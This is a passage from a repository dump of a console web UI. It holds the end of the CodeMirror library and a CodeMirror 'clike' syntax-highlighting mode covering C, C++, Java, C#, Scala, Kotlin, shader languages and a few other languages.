func;\n};\n\nCodeMirror$1.fromTextArea = fromTextArea;\n\naddLegacyProps(CodeMirror$1);\n\nCodeMirror$1.version = \"5.27.4\";\n\nreturn CodeMirror$1;\n\n})));\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/codemirror.lib.clike-lint.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n(function(mod) {\n  if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n    mod(require(\"../../lib/codemirror\"));\n  else if (typeof define == \"function\" && define.amd) // AMD\n    define([\"../../lib/codemirror\"], mod);\n  else // Plain browser env\n    mod(CodeMirror);\n})(function(CodeMirror) {\n\"use strict\";\n\nfunction Context(indented, column, type, info, align, prev) {\n  this.indented = indented;\n  this.column = column;\n  this.type = type;\n  this.info = info;\n  this.align = align;\n  this.prev = prev;\n}\nfunction pushContext(state, col, type, info) {\n  var indent = state.indented;\n  if (state.context && state.context.type == \"statement\" && type != \"statement\")\n    indent = state.context.indented;\n  return state.context = new Context(indent, col, type, info, null, state.context);\n}\nfunction popContext(state) {\n  var t = state.context.type;\n  if (t == \")\" || t == \"]\" || t == \"}\")\n    state.indented = state.context.indented;\n  return state.context = state.context.prev;\n}\n\nfunction typeBefore(stream, state, pos) {\n  if (state.prevToken == \"variable\" || state.prevToken == \"type\") return true;\n  if (/\\S(?:[^- ]>|[*\\]])\\s*$|\\*$/.test(stream.string.slice(0, pos))) return true;\n  if (state.typeAtEndOfLine && stream.column() == stream.indentation()) return true;\n}\n\nfunction isTopScope(context) {\n  for (;;) {\n    if (!context || context.type == \"top\") return true;\n    if (context.type == \"}\" && context.prev.info != \"namespace\") return false;\n    context = context.prev;\n  }\n}\n\nCodeMirror.defineMode(\"clike\", function(config, parserConfig) {\n  var indentUnit = config.indentUnit,\n      statementIndentUnit = parserConfig.statementIndentUnit || indentUnit,\n      dontAlignCalls = parserConfig.dontAlignCalls,\n      keywords = parserConfig.keywords || {},\n      types = parserConfig.types || {},\n      builtin = parserConfig.builtin || {},\n      blockKeywords = parserConfig.blockKeywords || {},\n      defKeywords = parserConfig.defKeywords || {},\n      atoms = parserConfig.atoms || {},\n      hooks = parserConfig.hooks || {},\n      multiLineStrings = parserConfig.multiLineStrings,\n      indentStatements = parserConfig.indentStatements !== false,\n      indentSwitch = parserConfig.indentSwitch !== false,\n      namespaceSeparator = parserConfig.namespaceSeparator,\n      isPunctuationChar = parserConfig.isPunctuationChar || /[\\[\\]{}\\(\\),;\\:\\.]/,\n      numberStart = parserConfig.numberStart || /[\\d\\.]/,\n      number = parserConfig.number || /^(?:0x[a-f\\d]+|0b[01]+|(?:\\d+\\.?\\d*|\\.\\d+)(?:e[-+]?\\d+)?)(u|ll?|l|f)?/i,\n      isOperatorChar = parserConfig.isOperatorChar || /[+\\-*&%=<>!?|\\/]/,\n      isIdentifierChar = parserConfig.isIdentifierChar || /[\\w\\$_\\xa1-\\uffff]/;\n\n  var curPunc, isDefKeyword;\n\n  function tokenBase(stream, state) {\n    var ch = stream.next();\n    if (hooks[ch]) {\n      var result = hooks[ch](stream, state);\n      if (result !== false) return result;\n    }\n    if (ch == '\"' || ch == \"'\") {\n      state.tokenize = tokenString(ch);\n      return state.tokenize(stream, state);\n    }\n    if (isPunctuationChar.test(ch)) {\n      curPunc = ch;\n      return null;\n    }\n    if (numberStart.test(ch)) {\n      stream.backUp(1)\n      if (stream.match(number)) return \"number\"\n      stream.next()\n    }\n    if (ch == \"/\") {\n      if (stream.eat(\"*\")) {\n        state.tokenize = tokenComment;\n        return tokenComment(stream, state);\n      }\n      if (stream.eat(\"/\")) {\n        stream.skipToEnd();\n        return \"comment\";\n      }\n    }\n    if (isOperatorChar.test(ch)) {\n      while (!stream.match(/^\\/[\\/*]/, false) && stream.eat(isOperatorChar)) {}\n      return \"operator\";\n    }\n    stream.eatWhile(isIdentifierChar);\n    if (namespaceSeparator) while (stream.match(namespaceSeparator))\n      stream.eatWhile(isIdentifierChar);\n\n    var cur = stream.current();\n    if (contains(keywords, cur)) {\n      if (contains(blockKeywords, cur)) curPunc = \"newstatement\";\n      if (contains(defKeywords, cur)) isDefKeyword = true;\n      return \"keyword\";\n    }\n    if (contains(types, cur)) return \"type\";\n    if (contains(builtin, cur)) {\n      if (contains(blockKeywords, cur)) curPunc = \"newstatement\";\n      return \"builtin\";\n    }\n    if (contains(atoms, cur)) return \"atom\";\n    return \"variable\";\n  }\n\n  function tokenString(quote) {\n    return function(stream, state) {\n      var escaped = false, next, end = false;\n      while ((next = stream.next()) != null) {\n        if (next == quote && !escaped) {end = true; break;}\n        escaped = !escaped && next == \"\\\\\";\n      }\n      if (end || !(escaped || multiLineStrings))\n        state.tokenize = null;\n      return \"string\";\n    };\n  }\n\n  function tokenComment(stream, state) {\n    var maybeEnd = false, ch;\n    while (ch = stream.next()) {\n      if (ch == \"/\" && maybeEnd) {\n        state.tokenize = null;\n        break;\n      }\n      maybeEnd = (ch == \"*\");\n    }\n    return \"comment\";\n  }\n\n  function maybeEOL(stream, state) {\n    if (parserConfig.typeFirstDefinitions && stream.eol() && isTopScope(state.context))\n      state.typeAtEndOfLine = typeBefore(stream, state, stream.pos)\n  }\n\n  // Interface\n\n  return {\n    startState: function(basecolumn) {\n      return {\n        tokenize: null,\n        context: new Context((basecolumn || 0) - indentUnit, 0, \"top\", null, false),\n        indented: 0,\n        startOfLine: true,\n        prevToken: null\n      };\n    },\n\n    token: function(stream, state) {\n      var ctx = state.context;\n      if (stream.sol()) {\n        if (ctx.align == null) ctx.align = false;\n        state.indented = stream.indentation();\n        state.startOfLine = true;\n      }\n      if (stream.eatSpace()) { maybeEOL(stream, state); return null; }\n      curPunc = isDefKeyword = null;\n      var style = (state.tokenize || tokenBase)(stream, state);\n      if (style == \"comment\" || style == \"meta\") return style;\n      if (ctx.align == null) ctx.align = true;\n\n      if (curPunc == \";\" || curPunc == \":\" || (curPunc == \",\" && stream.match(/^\\s*(?:\\/\\/.*)?$/, false)))\n        while (state.context.type == \"statement\") popContext(state);\n      else if (curPunc == \"{\") pushContext(state, stream.column(), \"}\");\n      else if (curPunc == \"[\") pushContext(state, stream.column(), \"]\");\n      else if (curPunc == \"(\") pushContext(state, stream.column(), \")\");\n      else if (curPunc == \"}\") {\n        while (ctx.type == \"statement\") ctx = popContext(state);\n        if (ctx.type == \"}\") ctx = popContext(state);\n        while (ctx.type == \"statement\") ctx = popContext(state);\n      }\n      else if (curPunc == ctx.type) popContext(state);\n      else if (indentStatements &&\n               (((ctx.type == \"}\" || ctx.type == \"top\") && curPunc != \";\") ||\n                (ctx.type == \"statement\" && curPunc == \"newstatement\"))) {\n        pushContext(state, stream.column(), \"statement\", stream.current());\n      }\n\n      if (style == \"variable\" &&\n          ((state.prevToken == \"def\" ||\n            (parserConfig.typeFirstDefinitions && typeBefore(stream, state, stream.start) &&\n             isTopScope(state.context) && stream.match(/^\\s*\\(/, false)))))\n        style = \"def\";\n\n      if (hooks.token) {\n        var result = hooks.token(stream, state, style);\n        if (result !== undefined) style = result;\n      }\n\n      if (style == \"def\" && parserConfig.styleDefs === false) style = \"variable\";\n\n      state.startOfLine = false;\n      state.prevToken = isDefKeyword ? \"def\" : style || curPunc;\n      maybeEOL(stream, state);\n      return style;\n    },\n\n    indent: function(state, textAfter) {\n      if (state.tokenize != tokenBase && state.tokenize != null || state.typeAtEndOfLine) return CodeMirror.Pass;\n      var ctx = state.context, firstChar = textAfter && textAfter.charAt(0);\n      if (ctx.type == \"statement\" && firstChar == \"}\") ctx = ctx.prev;\n      if (parserConfig.dontIndentStatements)\n        while (ctx.type == \"statement\" && parserConfig.dontIndentStatements.test(ctx.info))\n          ctx = ctx.prev\n      if (hooks.indent) {\n        var hook = hooks.indent(state, ctx, textAfter);\n        if (typeof hook == \"number\") return hook\n      }\n      var closing = firstChar == ctx.type;\n      var switchBlock = ctx.prev && ctx.prev.info == \"switch\";\n      if (parserConfig.allmanIndentation && /[{(]/.test(firstChar)) {\n        while (ctx.type != \"top\" && ctx.type != \"}\") ctx = ctx.prev\n        return ctx.indented\n      }\n      if (ctx.type == \"statement\")\n        return ctx.indented + (firstChar == \"{\" ? 0 : statementIndentUnit);\n      if (ctx.align && (!dontAlignCalls || ctx.type != \")\"))\n        return ctx.column + (closing ? 0 : 1);\n      if (ctx.type == \")\" && !closing)\n        return ctx.indented + statementIndentUnit;\n\n      return ctx.indented + (closing ? 0 : indentUnit) +\n        (!closing && switchBlock && !/^(?:case|default)\\b/.test(textAfter) ? indentUnit : 0);\n    },\n\n    electricInput: indentSwitch ? /^\\s*(?:case .*?:|default:|\\{\\}?|\\})$/ : /^\\s*[{}]$/,\n    blockCommentStart: \"/*\",\n    blockCommentEnd: \"*/\",\n    lineComment: \"//\",\n    fold: \"brace\"\n  };\n});\n\n  function words(str) {\n    var obj = {}, words = str.split(\" \");\n    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;\n    return obj;\n  }\n  function contains(words, word) {\n    if (typeof words === \"function\") {\n      return words(word);\n    } else {\n      return words.propertyIsEnumerable(word);\n    }\n  }\n  var cKeywords = \"auto if break case register continue return default do sizeof \" +\n    \"static else struct switch extern typedef union for goto while enum const volatile\";\n  var cTypes = \"int long char short double float unsigned signed void size_t ptrdiff_t\";\n\n  function cppHook(stream, state) {\n    if (!state.startOfLine) return false\n    for (var ch, next = null; ch = stream.peek();) {\n      if (ch == \"\\\\\" && stream.match(/^.$/)) {\n        next = cppHook\n        break\n      } else if (ch == \"/\" && stream.match(/^\\/[\\/\\*]/, false)) {\n        break\n      }\n      stream.next()\n    }\n    state.tokenize = next\n    return \"meta\"\n  }\n\n  function pointerHook(_stream, state) {\n    if (state.prevToken == \"type\") return \"type\";\n    return false;\n  }\n\n  function cpp14Literal(stream) {\n    stream.eatWhile(/[\\w\\.']/);\n    return \"number\";\n  }\n\n  function cpp11StringHook(stream, state) {\n    stream.backUp(1);\n    // Raw strings.\n    if (stream.match(/(R|u8R|uR|UR|LR)/)) {\n      var match = stream.match(/\"([^\\s\\\\()]{0,16})\\(/);\n      if (!match) {\n        return false;\n      }\n      state.cpp11RawStringDelim = match[1];\n      state.tokenize = tokenRawString;\n      return tokenRawString(stream, state);\n    }\n    // Unicode strings/chars.\n    if (stream.match(/(u8|u|U|L)/)) {\n      if (stream.match(/[\"']/, /* eat */ false)) {\n        return \"string\";\n      }\n      return false;\n    }\n    // Ignore this hook.\n    stream.next();\n    return false;\n  }\n\n  function cppLooksLikeConstructor(word) {\n    var lastTwo = /(\\w+)::~?(\\w+)$/.exec(word);\n    return lastTwo && lastTwo[1] == lastTwo[2];\n  }\n\n  // C#-style strings where \"\" escapes a quote.\n  function tokenAtString(stream, state) {\n    var next;\n    while ((next = stream.next()) != null) {\n      if (next == '\"' && !stream.eat('\"')) {\n        state.tokenize = null;\n        break;\n      }\n    }\n    return \"string\";\n  }\n\n  // C++11 raw string literal is <prefix>\"<delim>( anything )<delim>\", where\n  // <delim> can be a string up to 16 characters long.\n  function tokenRawString(stream, state) {\n    // Escape characters that have special regex meanings.\n    var delim = state.cpp11RawStringDelim.replace(/[^\\w\\s]/g, '\\\\$&');\n    var match = stream.match(new RegExp(\".*?\\\\)\" + delim + '\"'));\n    if (match)\n      state.tokenize = null;\n    else\n      stream.skipToEnd();\n    return \"string\";\n  }\n\n  function def(mimes, mode) {\n    if (typeof mimes == \"string\") mimes = [mimes];\n    var words = [];\n    function add(obj) {\n      if (obj) for (var prop in obj) if (obj.hasOwnProperty(prop))\n        words.push(prop);\n    }\n    add(mode.keywords);\n    add(mode.types);\n    add(mode.builtin);\n    add(mode.atoms);\n    if (words.length) {\n      mode.helperType = mimes[0];\n      CodeMirror.registerHelper(\"hintWords\", mimes[0], words);\n    }\n\n    for (var i = 0; i < mimes.length; ++i)\n      CodeMirror.defineMIME(mimes[i], mode);\n  }\n\n  def([\"text/x-csrc\", \"text/x-c\", \"text/x-chdr\"], {\n    name: \"clike\",\n    keywords: words(cKeywords),\n    types: words(cTypes + \" bool _Complex _Bool float_t double_t intptr_t intmax_t \" +\n                 \"int8_t int16_t int32_t int64_t uintptr_t uintmax_t uint8_t uint16_t \" +\n                 \"uint32_t uint64_t\"),\n    blockKeywords: words(\"case do else for if switch while struct\"),\n    defKeywords: words(\"struct\"),\n    typeFirstDefinitions: true,\n    atoms: words(\"null true false\"),\n    hooks: {\"#\": cppHook, \"*\": pointerHook},\n    modeProps: {fold: [\"brace\", \"include\"]}\n  });\n\n  def([\"text/x-c++src\", \"text/x-c++hdr\"], {\n    name: \"clike\",\n    keywords: words(cKeywords + \" asm dynamic_cast namespace reinterpret_cast try explicit new \" +\n                    \"static_cast typeid catch operator template typename class friend private \" +\n                    \"this using const_cast inline public throw virtual delete mutable protected \" +\n                    \"alignas alignof constexpr decltype nullptr noexcept thread_local final \" +\n                    \"static_assert override\"),\n    types: words(cTypes + \" bool wchar_t\"),\n    blockKeywords: words(\"catch class do else finally for if struct switch try while\"),\n    defKeywords: words(\"class namespace struct enum union\"),\n    typeFirstDefinitions: true,\n    atoms: words(\"true false null\"),\n    dontIndentStatements: /^template$/,\n    isIdentifierChar: /[\\w\\$_~\\xa1-\\uffff]/,\n    hooks: {\n      \"#\": cppHook,\n      \"*\": pointerHook,\n      \"u\": cpp11StringHook,\n      \"U\": cpp11StringHook,\n      \"L\": cpp11StringHook,\n      \"R\": cpp11StringHook,\n      \"0\": cpp14Literal,\n      \"1\": cpp14Literal,\n      \"2\": cpp14Literal,\n      \"3\": cpp14Literal,\n      \"4\": cpp14Literal,\n      \"5\": cpp14Literal,\n      \"6\": cpp14Literal,\n      \"7\": cpp14Literal,\n      \"8\": cpp14Literal,\n      \"9\": cpp14Literal,\n      token: function(stream, state, style) {\n        if (style == \"variable\" && stream.peek() == \"(\" &&\n            (state.prevToken == \";\" || state.prevToken == null ||\n             state.prevToken == \"}\") &&\n            cppLooksLikeConstructor(stream.current()))\n          return \"def\";\n      }\n    },\n    namespaceSeparator: \"::\",\n    modeProps: {fold: [\"brace\", \"include\"]}\n  });\n\n  def(\"text/x-java\", {\n    name: \"clike\",\n    keywords: words(\"abstract assert break case catch class const continue default \" +\n                    \"do else enum extends final finally float for goto if implements import \" +\n                    \"instanceof interface native new package private protected public \" +\n                    \"return static strictfp super switch synchronized this throw throws transient \" +\n                    \"try volatile while @interface\"),\n    types: words(\"byte short int long float double boolean char void Boolean Byte Character Double Float \" +\n                 \"Integer Long Number Object Short String StringBuffer StringBuilder Void\"),\n    blockKeywords: words(\"catch class do else finally for if switch try while\"),\n    defKeywords: words(\"class interface package enum @interface\"),\n    typeFirstDefinitions: true,\n    atoms: words(\"true false null\"),\n    number: /^(?:0x[a-f\\d_]+|0b[01_]+|(?:[\\d_]+\\.?\\d*|\\.\\d+)(?:e[-+]?[\\d_]+)?)(u|ll?|l|f)?/i,\n    hooks: {\n      \"@\": function(stream) {\n        // Don't match the @interface keyword.\n        if (stream.match('interface', false)) return false;\n\n        stream.eatWhile(/[\\w\\$_]/);\n        return \"meta\";\n      }\n    },\n    modeProps: {fold: [\"brace\", \"import\"]}\n  });\n\n  def(\"text/x-csharp\", {\n    name: \"clike\",\n    keywords: words(\"abstract as async await base break case catch checked class const continue\" +\n                    \" default delegate do else enum event explicit extern finally fixed for\" +\n                    \" foreach goto if implicit in interface internal is lock namespace new\" +\n                    \" operator out override params private protected public readonly ref return sealed\" +\n                    \" sizeof stackalloc static struct switch this throw try typeof unchecked\" +\n                    \" unsafe using virtual void volatile while add alias ascending descending dynamic from get\" +\n                    \" global group into join let orderby partial remove select set value var yield\"),\n    types: words(\"Action Boolean Byte Char DateTime DateTimeOffset Decimal Double Func\" +\n                 \" Guid Int16 Int32 Int64 Object SByte Single String Task TimeSpan UInt16 UInt32\" +\n                 \" UInt64 bool byte char decimal double short int long object\"  +\n                 \" sbyte float string ushort uint ulong\"),\n    blockKeywords: words(\"catch class do else finally for foreach if struct switch try while\"),\n    defKeywords: words(\"class interface namespace struct var\"),\n    typeFirstDefinitions: true,\n    atoms: words(\"true false null\"),\n    hooks: {\n      \"@\": function(stream, state) {\n        if (stream.eat('\"')) {\n          state.tokenize = tokenAtString;\n          return tokenAtString(stream, state);\n        }\n        stream.eatWhile(/[\\w\\$_]/);\n        return \"meta\";\n      }\n    }\n  });\n\n  function tokenTripleString(stream, state) {\n    var escaped = false;\n    while (!stream.eol()) {\n      if (!escaped && stream.match('\"\"\"')) {\n        state.tokenize = null;\n        break;\n      }\n      escaped = stream.next() == \"\\\\\" && !escaped;\n    }\n    return \"string\";\n  }\n\n  def(\"text/x-scala\", {\n    name: \"clike\",\n    keywords: words(\n\n      /* scala */\n      \"abstract case catch class def do else extends final finally for forSome if \" +\n      \"implicit import lazy match new null object override package private protected return \" +\n      \"sealed super this throw trait try type val var while with yield _ \" +\n\n      /* package scala */\n      \"assert assume require print println printf readLine readBoolean readByte readShort \" +\n      \"readChar readInt readLong readFloat readDouble\"\n    ),\n    types: words(\n      \"AnyVal App Application Array BufferedIterator BigDecimal BigInt Char Console Either \" +\n      \"Enumeration Equiv Error Exception Fractional Function IndexedSeq Int Integral Iterable \" +\n      \"Iterator List Map Numeric Nil NotNull Option Ordered Ordering PartialFunction PartialOrdering \" +\n      \"Product Proxy Range Responder Seq Serializable Set Specializable Stream StringBuilder \" +\n      \"StringContext Symbol Throwable Traversable TraversableOnce Tuple Unit Vector \" +\n\n      /* package java.lang */\n      \"Boolean Byte Character CharSequence Class ClassLoader Cloneable Comparable \" +\n      \"Compiler Double Exception Float Integer Long Math Number Object Package Pair Process \" +\n      \"Runtime Runnable SecurityManager Short StackTraceElement StrictMath String \" +\n      \"StringBuffer System Thread ThreadGroup ThreadLocal Throwable Triple Void\"\n    ),\n    multiLineStrings: true,\n    blockKeywords: words(\"catch class enum do else finally for forSome if match switch try while\"),\n    defKeywords: words(\"class enum def object package trait type val var\"),\n    atoms: words(\"true false null\"),\n    indentStatements: false,\n    indentSwitch: false,\n    isOperatorChar: /[+\\-*&%=<>!?|\\/#:@]/,\n    hooks: {\n      \"@\": function(stream) {\n        stream.eatWhile(/[\\w\\$_]/);\n        return \"meta\";\n      },\n      '\"': function(stream, state) {\n        if (!stream.match('\"\"')) return false;\n        state.tokenize = tokenTripleString;\n        return state.tokenize(stream, state);\n      },\n      \"'\": function(stream) {\n        stream.eatWhile(/[\\w\\$_\\xa1-\\uffff]/);\n        return \"atom\";\n      },\n      \"=\": function(stream, state) {\n        var cx = state.context\n        if (cx.type == \"}\" && cx.align && stream.eat(\">\")) {\n          state.context = new Context(cx.indented, cx.column, cx.type, cx.info, null, cx.prev)\n          return \"operator\"\n        } else {\n          return false\n        }\n      }\n    },\n    modeProps: {closeBrackets: {triples: '\"'}}\n  });\n\n  function tokenKotlinString(tripleString){\n    return function (stream, state) {\n      var escaped = false, next, end = false;\n      while (!stream.eol()) {\n        if (!tripleString && !escaped && stream.match('\"') ) {end = true; break;}\n        if (tripleString && stream.match('\"\"\"')) {end = true; break;}\n        next = stream.next();\n        if(!escaped && next == \"$\" && stream.match('{'))\n          stream.skipTo(\"}\");\n        escaped = !escaped && next == \"\\\\\" && !tripleString;\n      }\n      if (end || !tripleString)\n        state.tokenize = null;\n      return \"string\";\n    }\n  }\n\n  def(\"text/x-kotlin\", {\n    name: \"clike\",\n    keywords: words(\n      /*keywords*/\n      \"package as typealias class interface this super val \" +\n      \"var fun for is in This throw return \" +\n      \"break continue object if else while do try when !in !is as? \" +\n\n      /*soft keywords*/\n      \"file import where by get set abstract enum open inner override private public internal \" +\n      \"protected catch finally out final vararg reified dynamic companion constructor init \" +\n      \"sealed field property receiver param sparam lateinit data inline noinline tailrec \" +\n      \"external annotation crossinline const operator infix suspend\"\n    ),\n    types: words(\n      /* package java.lang */\n      \"Boolean Byte Character CharSequence Class ClassLoader Cloneable Comparable \" +\n      \"Compiler Double Exception Float Integer Long Math Number Object Package Pair Process \" +\n      \"Runtime Runnable SecurityManager Short StackTraceElement StrictMath String \" +\n      \"StringBuffer System Thread ThreadGroup ThreadLocal Throwable Triple Void\"\n    ),\n    intendSwitch: false,\n    indentStatements: false,\n    multiLineStrings: true,\n    number: /^(?:0x[a-f\\d_]+|0b[01_]+|(?:[\\d_]+\\.?\\d*|\\.\\d+)(?:e[-+]?[\\d_]+)?)(u|ll?|l|f)?/i,\n    blockKeywords: words(\"catch class do else finally for if where try while enum\"),\n    defKeywords: words(\"class val var object package interface fun\"),\n    atoms: words(\"true false null this\"),\n    hooks: {\n      '\"': function(stream, state) {\n        state.tokenize = tokenKotlinString(stream.match('\"\"'));\n        return state.tokenize(stream, state);\n      }\n    },\n    modeProps: {closeBrackets: {triples: '\"'}}\n  });\n\n  def([\"x-shader/x-vertex\", \"x-shader/x-fragment\"], {\n    name: \"clike\",\n    keywords: words(\"sampler1D sampler2D sampler3D samplerCube \" +\n                    \"sampler1DShadow sampler2DShadow \" +\n                    \"const attribute uniform varying \" +\n                    \"break continue discard return \" +\n                    \"for while do if else struct \" +\n                    \"in out inout\"),\n    types: words(\"float int bool void \" +\n                 \"vec2 vec3 vec4 ivec2 ivec3 ivec4 bvec2 bvec3 bvec4 \" +\n                 \"mat2 mat3 mat4\"),\n    blockKeywords: words(\"for while do if else struct\"),\n    builtin: words(\"radians degrees sin cos tan asin acos atan \" +\n                    \"pow exp log exp2 sqrt inversesqrt \" +\n                    \"abs sign floor ceil fract mod min max clamp mix step smoothstep \" +\n                    \"length distance dot cross normalize ftransform faceforward \" +\n                    \"reflect refract matrixCompMult \" +\n                    \"lessThan lessThanEqual greaterThan greaterThanEqual \" +\n                    \"equal notEqual any all not \" +\n                    \"texture1D texture1DProj texture1DLod texture1DProjLod \" +\n                    \"texture2D texture2DProj texture2DLod texture2DProjLod \" +\n                    \"texture3D texture3DProj texture3DLod texture3DProjLod \" +\n                    \"textureCube textureCubeLod \" +\n                    \"shadow1D shadow2D shadow1DProj shadow2DProj \" +\n                    \"shadow1DLod shadow2DLod shadow1DProjLod shadow2DProjLod \" +\n                    \"dFdx dFdy fwidth \" +\n                    \"noise1 noise2 noise3 noise4\"),\n    atoms: words(\"true false \" +\n                \"gl_FragColor gl_SecondaryColor gl_Normal gl_Vertex \" +\n                \"gl_MultiTexCoord0 gl_MultiTexCoord1 gl_MultiTexCoord2 gl_MultiTexCoord3 \" +\n                \"gl_MultiTexCoord4 gl_MultiTexCoord5 gl_MultiTexCoord6 gl_MultiTexCoord7 \" +\n                \"gl_FogCoord gl_PointCoord \" +\n                \"gl_Position gl_PointSize gl_ClipVertex \" +\n                \"gl_FrontColor gl_BackColor gl_FrontSecondaryColor gl_BackSecondaryColor \" +\n                \"gl_TexCoord gl_FogFragCoord \" +\n                \"gl_FragCoord gl_FrontFacing \" +\n                \"gl_FragData gl_FragDepth \" +\n                \"gl_ModelViewMatrix gl_ProjectionMatrix gl_ModelViewProjectionMatrix \" +\n                \"gl_TextureMatrix gl_NormalMatrix gl_ModelViewMatrixInverse \" +\n                \"gl_ProjectionMatrixInverse gl_ModelViewProjectionMatrixInverse \" +\n                \"gl_TexureMatrixTranspose gl_ModelViewMatrixInverseTranspose \" +\n                \"gl_ProjectionMatrixInverseTranspose \" +\n                \"gl_ModelViewProjectionMatrixInverseTranspose \" +\n                \"gl_TextureMatrixInverseTranspose \" +\n                \"gl_NormalScale gl_DepthRange gl_ClipPlane \" +\n                \"gl_Point gl_FrontMaterial gl_BackMaterial gl_LightSource gl_LightModel \" +\n                \"gl_FrontLightModelProduct gl_BackLightModelProduct \" +\n                \"gl_TextureColor gl_EyePlaneS gl_EyePlaneT gl_EyePlaneR gl_EyePlaneQ \" +\n                \"gl_FogParameters \" +\n                \"gl_MaxLights gl_MaxClipPlanes gl_MaxTextureUnits gl_MaxTextureCoords \" +\n                \"gl_MaxVertexAttribs gl_MaxVertexUniformComponents gl_MaxVaryingFloats \" +\n                \"gl_MaxVertexTextureImageUnits gl_MaxTextureImageUnits \" +\n                \"gl_MaxFragmentUniformComponents gl_MaxCombineTextureImageUnits \" +\n                \"gl_MaxDrawBuffers\"),\n    indentSwitch: false,\n    hooks: {\"#\": cppHook},\n    modeProps: {fold: [\"brace\", \"include\"]}\n  });\n\n  def(\"text/x-nesc\", {\n    name: \"clike\",\n    keywords: words(cKeywords + \"as atomic async call command component components configuration event generic \" +\n                    \"implementation includes interface module new norace nx_struct nx_union post provides \" +\n                    \"signal task uses abstract extends\"),\n    types: words(cTypes),\n    blockKeywords: words(\"case do else for if switch while struct\"),\n    atoms: words(\"null true false\"),\n    hooks: {\"#\": cppHook},\n    modeProps: {fold: [\"brace\", \"include\"]}\n  });\n\n  def(\"text/x-objectivec\", {\n    name: \"clike\",\n    keywords: words(cKeywords + \"inline restrict _Bool _Complex _Imaginary BOOL Class bycopy byref id IMP in \" +\n                    \"inout nil oneway out Protocol SEL self super atomic nonatomic retain copy readwrite readonly\"),\n    types: words(cTypes),\n    atoms: words(\"YES NO NULL NILL ON OFF true false\"),\n    hooks: {\n      \"@\": function(stream) {\n        stream.eatWhile(/[\\w\\$]/);\n        return \"keyword\";\n      },\n      \"#\": cppHook,\n      indent: function(_state, ctx, textAfter) {\n        if (ctx.type == \"statement\" && /^@\\w/.test(textAfter)) return ctx.indented\n      }\n    },\n    modeProps: {fold: \"brace\"}\n  });\n\n  def(\"text/x-squirrel\", {\n    name: \"clike\",\n    keywords: words(\"base break clone continue const default delete enum extends function in class\" +\n                    \" foreach local resume return this throw typeof yield constructor instanceof static\"),\n    types: words(cTypes),\n    blockKeywords: words(\"case catch class else for foreach if switch try while\"),\n    defKeywords: words(\"function local class\"),\n    typeFirstDefinitions: true,\n    atoms: words(\"true false null\"),\n    hooks: {\"#\": cppHook},\n    modeProps: {fold: [\"brace\", \"include\"]}\n  });\n\n  // Ceylon Strings need to deal with interpolation\n  var stringTokenizer = null;\n  function tokenCeylonString(type) {\n    return function(stream, state) {\n      var escaped = false, next, end = false;\n      while (!stream.eol()) {\n        if (!escaped && stream.match('\"') &&\n              (type == \"single\" || stream.match('\"\"'))) {\n          end = true;\n          break;\n        }\n        if (!escaped && stream.match('``')) {\n          stringTokenizer = tokenCeylonString(type);\n          end = true;\n          break;\n        }\n        next = stream.next();\n        escaped = type == \"single\" && !escaped && next == \"\\\\\";\n      }\n      if (end)\n          state.tokenize = null;\n      return \"string\";\n    }\n  }\n\n  def(\"text/x-ceylon\", {\n    name: \"clike\",\n    keywords: words(\"abstracts alias assembly assert assign break case catch class continue dynamic else\" +\n                    \" exists extends finally for function given if import in interface is let module new\" +\n                    \" nonempty object of out outer package return satisfies super switch then this throw\" +\n                    \" try value void while\"),\n    types: function(word) {\n        // In Ceylon all identifiers that start with an uppercase are types\n        var first = word.charAt(0);\n        return (first === first.toUpperCase() && first !== first.toLowerCase());\n    },\n    blockKeywords: words(\"case catch class dynamic else finally for function if interface module new object switch try while\"),\n    defKeywords: words(\"class dynamic function interface module object package value\"),\n    builtin: words(\"abstract actual aliased annotation by default deprecated doc final formal late license\" +\n                   \" native optional sealed see serializable shared suppressWarnings tagged throws variable\"),\n    isPunctuationChar: /[\\[\\]{}\\(\\),;\\:\\.`]/,\n    isOperatorChar: /[+\\-*&%=<>!?|^~:\\/]/,\n    numberStart: /[\\d#$]/,\n    number: /^(?:#[\\da-fA-F_]+|\\$[01_]+|[\\d_]+[kMGTPmunpf]?|[\\d_]+\\.[\\d_]+(?:[eE][-+]?\\d+|[kMGTPmunpf]|)|)/i,\n    multiLineStrings: true,\n    typeFirstDefinitions: true,\n    atoms: words(\"true false null larger smaller equal empty finished\"),\n    indentSwitch: false,\n    styleDefs: false,\n    hooks: {\n      \"@\": function(stream) {\n        stream.eatWhile(/[\\w\\$_]/);\n        return \"meta\";\n      },\n      '\"': function(stream, state) {\n          state.tokenize = tokenCeylonString(stream.match('\"\"') ? \"triple\" : \"single\");\n          return state.tokenize(stream, state);\n        },\n      '`': function(stream, state) {\n          if (!stringTokenizer || !stream.match('`')) return false;\n          state.tokenize = stringTokenizer;\n          stringTokenizer = null;\n          return state.tokenize(stream, state);\n        },\n      \"'\": function(stream) {\n        stream.eatWhile(/[\\w\\$_\\xa1-\\uffff]/);\n        return \"atom\";\n      },\n      token: function(_stream, state, style) {\n          if ((style == \"variable\" || style == \"type\") &&\n              state.prevToken == \".\") {\n            return \"variable-2\";\n          }\n        }\n    },\n    modeProps: {\n        fold: [\"brace\", \"import\"],\n        closeBrackets: {triples: '\"'}\n    }\n  });\n\n});\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/codemirror.lib.json-lint.js",
